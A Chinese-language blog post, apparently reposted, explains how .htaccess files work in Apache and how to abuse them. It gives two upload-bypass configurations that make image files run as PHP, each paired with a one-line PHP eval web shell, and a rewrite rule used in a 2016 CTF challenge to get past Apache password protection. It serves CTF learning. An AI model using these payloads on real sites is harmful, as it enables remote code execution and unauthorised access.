原文 https://skysec.top/2017/09/06/有趣的-htaccess/
.htaccess功能开启条件
- mod_rewrite模块开启
- AllowOverride All
.htaccess功能开启方法
在apache下http.conf改配置:
- 将工作目录下的AllowOverride None 改为AllowOverride All。
- 开启.mod_rewrite模块。将#LoadModule rewrite_module modules/mod_rewrite.so前的#去掉即可
.htaccess注意点
.htaccess文件中的配置指令作用于.htaccess文件所在的目录及其所有子目录,
但是很重要的、需要注意的是,其上级目录也可能会有.htaccess文件,而指令是按查找顺序依次生效的,
所以一个特定目录下的.htaccess文件中的指令可能会覆盖其上级目录中的.htaccess文件中的指令,即子目录中的指令会覆盖父目录或者主配置文件中的指令。
.htaccess在upload中的利用
法一
.htaccess文件内容:
<FilesMatch "sky233">
SetHandler application/x-httpd-php
</FilesMatch>
上传小马文件名:sky233.jpg(后缀任意,找一个没被过滤的,不写应该也可以)
<?php eval($_GET['sky']);?>
再访问这个文件,可以发现该文件被当做php文件执行了
法二
.htaccess文件内容:
AddType application/x-httpd-php .jpg
(后缀名按你想要的来,我这里使用.jpg)
上传小马文件名:sky233.jpg(后缀和前面的匹配)
<?php eval($_GET['sky']);?>
再访问这个文件,可以发现该文件被当做php文件执行了
.htaccess在重定向中的利用
一些语法介绍
RewriteCond %{REQUEST_FILENAME} !-d
如果不是目录,才会执行下一条RewriteRule
RewriteCond %{REQUEST_FILENAME} !-f
如果不是文件,才会执行下一条RewriteRule
Tokyo Westerns / MMA CTF 2nd 2016应用
题目要求访问/admin,但访问需要登录密码(是在Apache中设置的),但是密码破解难度极大,并且不存在其他绕过技巧(maybe)
只有.htaccess重定向绕过的方法可行
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^ index.php [QSA,L]
然后访问 /index.php/admin, 即可达到访问 /admin 的效果,同时绕过Apache的密码
注:
RewriteRule ^ index.php [QSA,L]
标签 [QSA,PT,L]
QSA:表示保留参数如get传值?xxx==xx…;
PT:再把这个URL交给Apache处理;
L:作为最后一条;
后记
这玩意儿还是有点意思的,第一次还是在xman选拔赛中遇到,当时根本没想到是这个……也算长见识了